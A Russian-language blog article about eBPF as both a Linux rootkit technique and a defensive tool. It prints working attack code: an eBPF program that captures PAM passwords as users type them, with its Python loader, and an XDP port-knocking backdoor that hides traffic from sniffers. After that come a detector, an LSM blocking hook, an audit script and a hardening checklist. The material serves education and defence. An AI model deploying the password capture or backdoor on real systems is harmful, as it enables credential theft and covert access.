eBPF: двойной агент в ядре — и руткит, и детектор
Что такое eBPF и почему это важно
eBPF (Extended Berkeley Packet Filter) — это виртуальная машина внутри ядра Linux, позволяющая запускать верифицированный пользовательский код прямо в пространстве ядра без написания модулей и без перекомпиляции. Изначально технология создавалась для мониторинга производительности и фильтрации трафика, но сегодня eBPF — это двусторонний меч: тот же механизм, которым Cilium защищает Kubernetes-кластеры, злоумышленники используют для создания руткитов нового поколения.
Ключевая особенность: eBPF-код живёт в ядре, но не отображается в списке модулей. Он загружается через системный вызов bpf() и может быть полностью скрыт из пользовательского пространства. Это делает его идеальным как для атаки, так и для защиты.
Архитектура eBPF: как это работает
Прежде чем нырять в атаки и детект — нужно понять механизм изнутри.
Пользовательское пространство
│
│ bpf() syscall
▼
┌──────────────────────────────────┐
│ Верификатор eBPF │ ◄── Проверяет безопасность кода
│ (статический анализ графа) │
└──────────────┬───────────────────┘
│
▼ JIT-компиляция
┌──────────────────────────────────┐
│ Ядро Linux (kernel) │
│ │
│ kprobes / tracepoints / XDP │
│ LSM hooks / socket filters │
│ perf events / cgroups │
└──────────────────────────────────┘
Типы точек прикрепления (attach points) — это то, за что цепляются как защитники, так и атакующие:
| Hook | Что даёт атакующему | Что даёт защитнику |
|---|---|---|
| kprobe | Перехват любой функции ядра | Мониторинг всех syscall |
| XDP | Скрытая фильтрация/редирект пакетов | DDoS-митигация на wire speed |
| LSM | Обход политик безопасности | Принудительный мандатный контроль |
| uprobes | Перехват функций в userspace (PAM, SSL) | Трассировка приложений без инструментации |
| socket filter | Снифинг трафика без pcap | Глубокая инспекция пакетов |
eBPF как оружие: техники атак
Шпионаж на уровне ядра
Самое элегантное применение — перехват вводимых паролей. В 2023 году был зафиксирован малварь PamSpy, который через uprobe цеплялся к функции PAM и тихо сливал все введённые учётки.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
// eBPF-программа: перехват pam_get_authtok #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> // Карта для передачи данных в userspace struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(int)); __uint(value_size, sizeof(int)); } events SEC(".maps"); // Буфер для перехваченных данных struct event { __u32 pid; char comm[16]; char password[128]; }; // Цепляемся к функции pam_get_authtok в libpam SEC("uprobe/libpam.so:pam_get_authtok") int uprobe_pam_get_authtok(struct pt_regs *ctx) { struct event evt = {}; evt.pid = bpf_get_current_pid_tgid() >> 32; bpf_get_current_comm(&evt.comm, sizeof(evt.comm)); // Третий аргумент функции — указатель на пароль const char **authtok_ptr = (const char **)PT_REGS_PARM3(ctx); const char *authtok; bpf_probe_read_user(&authtok, sizeof(authtok), authtok_ptr); if (authtok) bpf_probe_read_user_str(evt.password, sizeof(evt.password), authtok); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &evt, sizeof(evt)); return 0; } char LICENSE[] SEC("license") = "GPL"; |
Загружаем и читаем данные из userspace:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
from bcc import BPF import ctypes # Загружаем eBPF-программу b = BPF(src_file="pam_spy.c") b.attach_uprobe( name="/lib/x86_64-linux-gnu/libpam.so.0", sym="pam_get_authtok", fn_name="uprobe_pam_get_authtok" ) class Event(ctypes.Structure): _fields_ = [ ("pid", ctypes.c_uint32), ("comm", ctypes.c_char * 16), ("password", ctypes.c_char * 128), ] def print_event(cpu, data, size): event = ctypes.cast(data, ctypes.POINTER(Event)).contents print(f"[PID {event.pid}] {event.comm.decode()} → '{event.password.decode()}'") b["events"].open_perf_buffer(print_event) print("Listening... Press Ctrl+C to stop.") while True: b.perf_buffer_poll() |
Сетевая невидимость через XDP
Именно так работает BPFDoor — один из самых известных eBPF-руткитов, активно развивающийся в 2025 году. Программа на XDP-хуке получает пакет до того, как его увидит любой сниффер или файервол:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
#include <linux/bpf.h> #include <linux/if_ether.h> #include <linux/ip.h> #include <linux/tcp.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_endian.h> // Magic-байты в TCP payload — "knock" для активации бэкдора #define MAGIC_BYTES 0xDEADC0DE #define BACKDOOR_PORT 31337 SEC("xdp") int xdp_backdoor(struct xdp_md *ctx) { void *data = (void *)(long)ctx->data; void *data_end = (void *)(long)ctx->data_end; struct ethhdr *eth = data; if ((void *)(eth + 1) > data_end) return XDP_PASS; if (bpf_ntohs(eth->h_proto) != ETH_P_IP) return XDP_PASS; struct iphdr *ip = (void *)(eth + 1); if ((void *)(ip + 1) > data_end) return XDP_PASS; if (ip->protocol != IPPROTO_TCP) return XDP_PASS; struct tcphdr *tcp = (void *)ip + (ip->ihl * 4); if ((void *)(tcp + 1) > data_end) return XDP_PASS; // Если порт назначения — наш backdoor port if (bpf_ntohs(tcp->dest) == BACKDOOR_PORT) { __u32 *payload = (void *)tcp + (tcp->doff * 4); if ((void *)(payload + 1) > data_end) return XDP_PASS; // Проверяем magic bytes — "стук" if (*payload == MAGIC_BYTES) { // Активируем бэкдор, пакет НЕ виден iptables/tcpdump // Перенаправляем на loopback процесс bpf_redirect(1, 0); return XDP_REDIRECT; } // Обычный пакет на наш порт — дропаем тихо return XDP_DROP; } return XDP_PASS; } char LICENSE[] SEC("license") = "GPL"; |
Именно этот паттерн использует LinkPro — руткит, обнаруженный в AWS-среде: один eBPF-модуль скрывает артефакты, второй работает как скрытый «knock»-триггер для активации C2.
Рекурсивная самозащита
Современные eBPF-руткиты умеют обманывать диагностические утилиты. Руткит ebpfkit перехватывает вызовы к bpftool, возвращая поддельный список программ — ядро буквально лжёт администратору.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// Хук на чтение /sys/fs/bpf — прячем свои pin-файлы SEC("kprobe/vfs_getdents64") int hide_bpf_pins(struct pt_regs *ctx) { // Перехватываем листинг директории /sys/fs/bpf // и фильтруем наши файлы из результата char comm[16]; bpf_get_current_comm(comm, sizeof(comm)); // Если вызывает bpftool — подменяем результат if (comm[0]=='b' && comm[1]=='p' && comm[2]=='f') { // ... манипуляции с буфером результата } return 0; } |
Из реальных семейств — pidhide из проекта bad-bpf, модифицированная версия которого была найдена в атаках Доктора Веб в конце 2024 года.
eBPF как щит: детектирование угроз
Та же технология — мощнейший инструмент защиты. Ключевой инструмент в 2025-2026 году — Tetragon от Cilium.
Детектор аномальных syscall
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
// Детектируем подозрительные комбинации syscall // Признак eBPF-руткита: bpf() + ptrace() от одного процесса #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> #define MAX_ENTRIES 10240 #define BPF_SYSCALL 321 #define PTRACE_SYSCALL 101 struct proc_state { __u64 bpf_calls; __u64 ptrace_calls; __u64 last_bpf_ts; }; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct proc_state); } proc_map SEC(".maps"); struct alert { __u32 pid; char comm[16]; __u64 bpf_calls; __u64 ptrace_calls; }; struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); } alerts SEC(".maps"); SEC("tracepoint/raw_syscalls/sys_enter") int detect_rootkit_pattern(struct trace_event_raw_sys_enter *ctx) { __u32 pid = bpf_get_current_pid_tgid() >> 32; long syscall_id = ctx->id; struct proc_state *state = bpf_map_lookup_elem(&proc_map, &pid); if (!state) { struct proc_state new_state = {}; bpf_map_update_elem(&proc_map, &pid, &new_state, BPF_ANY); state = bpf_map_lookup_elem(&proc_map, &pid); if (!state) return 0; } if (syscall_id == BPF_SYSCALL) { state->bpf_calls++; state->last_bpf_ts = bpf_ktime_get_ns(); } if (syscall_id == PTRACE_SYSCALL) { state->ptrace_calls++; } // Эвристика: много bpf() + ptrace() = подозрительно if (state->bpf_calls > 10 && state->ptrace_calls > 5) { struct alert a = {}; a.pid = pid; a.bpf_calls = state->bpf_calls; a.ptrace_calls = state->ptrace_calls; bpf_get_current_comm(&a.comm, sizeof(a.comm)); bpf_perf_event_output(ctx, &alerts, BPF_F_CURRENT_CPU, &a, sizeof(a)); } return 0; } char LICENSE[] SEC("license") = "GPL"; |
LSM-хук: принудительный контроль загрузки BPF
Лучшая защита — превентивная. Через LSM можно блокировать загрузку неавторизованных eBPF-программ:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
#include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_tracing.h> // Белый список разрешённых PID (например, только Tetragon, Cilium) struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 64); __type(key, __u32); __type(value, __u8); } allowed_pids SEC(".maps"); SEC("lsm/bpf") int BPF_PROG(restrict_bpf_load, int cmd, union bpf_attr *attr, unsigned int size) { // Разрешаем только BPF_PROG_LOAD if (cmd != 5 /* BPF_PROG_LOAD */) return 0; __u32 pid = bpf_get_current_pid_tgid() >> 32; // Проверяем белый список __u8 *allowed = bpf_map_lookup_elem(&allowed_pids, &pid); if (allowed) return 0; // Разрешено // Всё остальное — блокируем bpf_printk("BLOCKED bpf() load from PID %d\n", pid); return -EPERM; } char LICENSE[] SEC("license") = "GPL"; |
Python-скрипт аудита загруженных программ
Регулярный аудит через bpftool — базовая гигиена, но его можно автоматизировать и сравнивать с baseline:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
import subprocess import json import hashlib import time from datetime import datetime BASELINE_FILE = "/var/lib/ebpf-audit/baseline.json" ALERT_LOG = "/var/log/ebpf-audit.log" # Типы программ, которые НИКОГДА не должны быть в системе SUSPICIOUS_TYPES = { "kprobe", "kretprobe", "tracepoint", "raw_tracepoint", "lsm" } # Легитимные источники (замени на свои) TRUSTED_TAGS = {"cilium", "tetragon", "falco"} def get_loaded_programs(): result = subprocess.run( ["bpftool", "prog", "show", "--json"], capture_output=True, text=True ) return json.loads(result.stdout) def fingerprint_prog(prog): key = f"{prog.get('type')}{prog.get('name')}{prog.get('tag')}" return hashlib.sha256(key.encode()).hexdigest()[:16] def audit(): programs = get_loaded_programs() alerts = [] for prog in programs: ptype = prog.get("type", "") name = prog.get("name", "unknown") tag = prog.get("tag", "") pid = prog.get("pids", [{}])[0].get("pid", "?") comm = prog.get("pids", [{}])[0].get("comm", "?") # Анонимные программы — красный флаг if name in ("", "unknown", None): alerts.append({ "level": "CRITICAL", "reason": "Anonymous eBPF program", "type": ptype, "tag": tag, "owner": f"{comm}(PID:{pid})" }) continue # Подозрительный тип от недоверенного процесса if ptype in SUSPICIOUS_TYPES: if not any(t in (name + comm).lower() for t in TRUSTED_TAGS): alerts.append({ "level": "HIGH", "reason": f"Suspicious type '{ptype}' from untrusted process", "name": name, "type": ptype, "owner": f"{comm}(PID:{pid})" }) return alerts if __name__ == "__main__": print(f"[{datetime.now()}] Starting eBPF audit...") alerts = audit() if alerts: print(f"\n[!] Found {len(alerts)} suspicious eBPF programs:\n") for a in alerts: print(f" [{a['level']}] {a['reason']}") print(f" Name: {a.get('name', 'N/A')} | " f"Type: {a['type']} | Owner: {a['owner']}\n") with open(ALERT_LOG, "a") as f: f.write(json.dumps({ "timestamp": str(datetime.now()), "alerts": alerts }) + "\n") else: print("[OK] No suspicious eBPF programs found.") |
Реальные руткиты: кто есть кто
| Имя | Техника | Обнаружен | Особенность |
|---|---|---|---|
| BPFDoor | XDP + socket filter | 2022–2025 | C2 по нестандартным портам, IPv6-поддержка |
| Symbiote | LD_PRELOAD + eBPF | 2022–2025 | Перехват сетевого трафика всех процессов |
| Boopkit | kretprobe | 2022 | Первый публичный eBPF-руткит с C2 |
| ebpfkit | Множественные хуки | 2021+ | Самозащита от bpftool |
| PamSpy | uprobe/libpam | 2023 | Кража паролей через PAM |
| bad-bpf/pidhide | Модификация | 2024 | Скрытие PID, использован в APT-атаках |
| LinkPro | XDP + knocking | 2025 | Двойной eBPF-модуль, AWS-среда |
Как защищаться: чеклист
Проблема в том, что вредонос может получить контроль первым и отключить наблюдение за собой — именно поэтому превентивные меры важнее реактивных.
- Ограничь
CAP_BPF— только доверенным процессам черезseccompилиBPF Tokens - Включи
kernel.unprivileged_bpf_disabled=1вsysctl.conf - Мониторь
bpf()syscall через auditd или Falco - Регулярный аудит
bpftool prog show+ сравнение с baseline (скрипт выше) - Обновляй ядро: зафиксировано 217 уязвимостей в eBPF, около 100 новых ежегодно
- Разверни Tetragon — он использует eBPF против eBPF, детектируя аномальное поведение на уровне ядра
- Проверяй git-историю образов контейнеров и CI/CD на предмет загрузки
.oфайлов
|
1 2 3 4 5 6 7 |
# Быстрая проверка системы прямо сейчас sudo bpftool prog show # Список загруженных программ sudo bpftool map show # Карты данных — тоже могут быть артефактами sudo ss -xp # Сокеты с BPF-фильтрами # Проверяем, кто загрузил BPF-программы sudo cat /proc/*/fdinfo/* 2>/dev/null | grep -A5 "prog_id" |
Философия двойного агента
eBPF — идеальный пример того, как одна и та же технология становится и мечом, и щитом. Атакующие используют его потому, что он невидим для традиционных средств защиты и работает быстрее, чем любые user-space хуки. Защитники — потому что только eBPF даёт достаточную глубину наблюдаемости для детекта современных атак. В этой гонке побеждает тот, кто загрузит свою программу первым — и именно поэтому превентивный контроль доступа к bpf() syscall важнее любого детектора.

На этом все. Всем хорошего дня!
